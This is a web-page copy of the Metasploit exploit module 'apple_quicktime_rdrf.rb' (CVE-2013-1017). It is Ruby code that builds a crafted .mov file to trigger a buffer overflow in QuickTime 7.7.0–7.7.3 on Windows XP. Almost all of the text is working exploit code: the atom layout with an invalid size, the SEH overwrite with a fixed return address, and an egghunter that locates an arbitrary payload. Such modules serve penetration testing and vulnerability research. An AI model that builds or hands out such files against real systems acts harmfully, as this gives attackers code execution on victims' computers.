Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/fileformat/apple_quicktime_rdrf.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::FILEFORMAT9include Msf::Exploit::Egghunter1011def initialize(info={})12super(update_info(info,13'Name' => "Apple Quicktime 7 Invalid Atom Length Buffer Overflow",14'Description' => %q{15This module exploits a vulnerability found in Apple QuickTime. The flaw is16triggered when QuickTime fails to properly handle the data length for certain17atoms such as 'rdrf' or 'dref' in the Alis record, which may result a buffer18overflow by loading a specially crafted .mov file, and allows arbitrary19code execution under the context of the current user. Please note: Since an egghunter20is used to search for the payload, this may require additional time for21the exploit to complete.22},23'License' => MSF_LICENSE,24'Author' =>25[26'Jason Kratzer', # Original Discovery & PoC (overlapped finding), aka pyoor27'Tom Gallagher', # Original Discovery (overlapped)28'Paul Bates', # Original Discovery (overlapped)29'sinn3r' # Metasploit30],31'References' =>32[33[ 'CVE', '2013-1017' ],34[ 'OSVDB', '93625' ],35[ 'BID', '60097' ],36[ 'URL', 'http://support.apple.com/kb/HT5770' ],37[ 'ZDI', '13-110' ]38],39'Platform' => 'win',40'Targets' =>41[42# Ret = P/P/R in Quicktime.qtx43# Tested on:44# Quicktime 7.7.045# Quicktime 7.7.146# Quicktime 7.7.247# Quicktime 7.7.348[ 'Quicktime 7.7.0 - 7.7.3 on Windows XP SP3', {'Ret' => 0x66801042 } ]49],50'Payload' =>51{52'BadChars' => "\x00"53},54'Privileged' => false,55'DisclosureDate' => '2013-05-22',56'DefaultTarget' => 057))5859register_options(60[61OptString.new('FILENAME', [ true, 'The file name.', 'msf.mov']),62])63end6465def sort_bytes(data)66buf = ''670.step(data.length, 2) do |i|68buf << data[i, 2].reverse69end7071buf72end7374def exploit75fsize = 07677badchars = payload_badchars78hunter,egg = generate_egghunter(payload.encoded,badchars,{:checksum=>true})7980buf = ''81buf << "\x61" * 5 # Make sure our NOPs don't cause AV82buf << sort_bytes(make_nops(4)) # Pad 9 bytes to ensure alignment83buf << sort_bytes(hunter) # egg huntin'84buf << rand_text_alpha(607 - buf.length) # Offset 607 to nSEH85buf << sort_bytes("\xeb\x06#{rand_text_alpha(2)}") # nSEH86buf << sort_bytes([target.ret].pack("V*")) # SE Handler87buf << sort_bytes("\xe9\x95\xfd\xff\xff\xff") # Jmp to egghunter88buf << rand_text_alpha(50) # After SEH, only ~33 bytes89buf << egg # Should be found somewhere else9091# Quicktime File Format Specifications:92# https://developer.apple.com/standards/qtff-2001.pdf93mov = "\x00\x00\x06\xDF" # File size94mov << "moov" # Movie atom95mov << "\x00\x00\x06\xD7" # size (1751d)96mov << "rmra" # Reference Movie atom97mov << "\x00\x00\x06\xCF" # size (1743d)98mov << "rmda" # rmda atom99mov << "\x00\x00\x06\xBF" # size (1727d)100mov << "rdrf" # Data reference atom101mov << "\x00\x00\x00\x00" # size set to 0102mov << "alis" # Data reference type: FS alias record103mov << "\x00\x00\x06\xAA" # Size (1706d)104mov << rand_text_alpha(8)105mov << "\x00\x00\x06\x61" # Size (1633d)106mov << rand_text_alpha(38)107mov << "\x12"108mov << rand_text_alpha(81)109mov << "\xFF\xFF"110mov << rand_text_alpha(18)111mov << "\x00\x08" # Size (8d)112mov << rand_text_alpha(8)113mov << "\x00\x00"114mov << "\x00\x08" # Size (8d)115mov << rand_text_alpha(8)116mov << "\x00\x00"117mov << "\x00\x26" # Size (38d)118mov << rand_text_alpha(38)119mov << "\x00\x0F\x00\x0E"120mov << "AA" # Size (must be invalid)121mov << rand_text_alpha(12)122mov << "\x00\x12\x00\x21"123mov << rand_text_alpha(36)124mov << "\x00"125mov << "\x0F\x33"126mov << rand_text_alpha(17)127mov << "\x02\xF4" # Size (756h)128mov << rand_text_alpha(756)129mov << "\xFF\xFF\x00\x00\x00"130fsize += mov.length131mov << buf132fsize += buf.length133134mov[0,4] = [fsize].pack("N")135136print_status("Creating #{datastore['FILENAME']}")137file_create(mov)138end139end140141142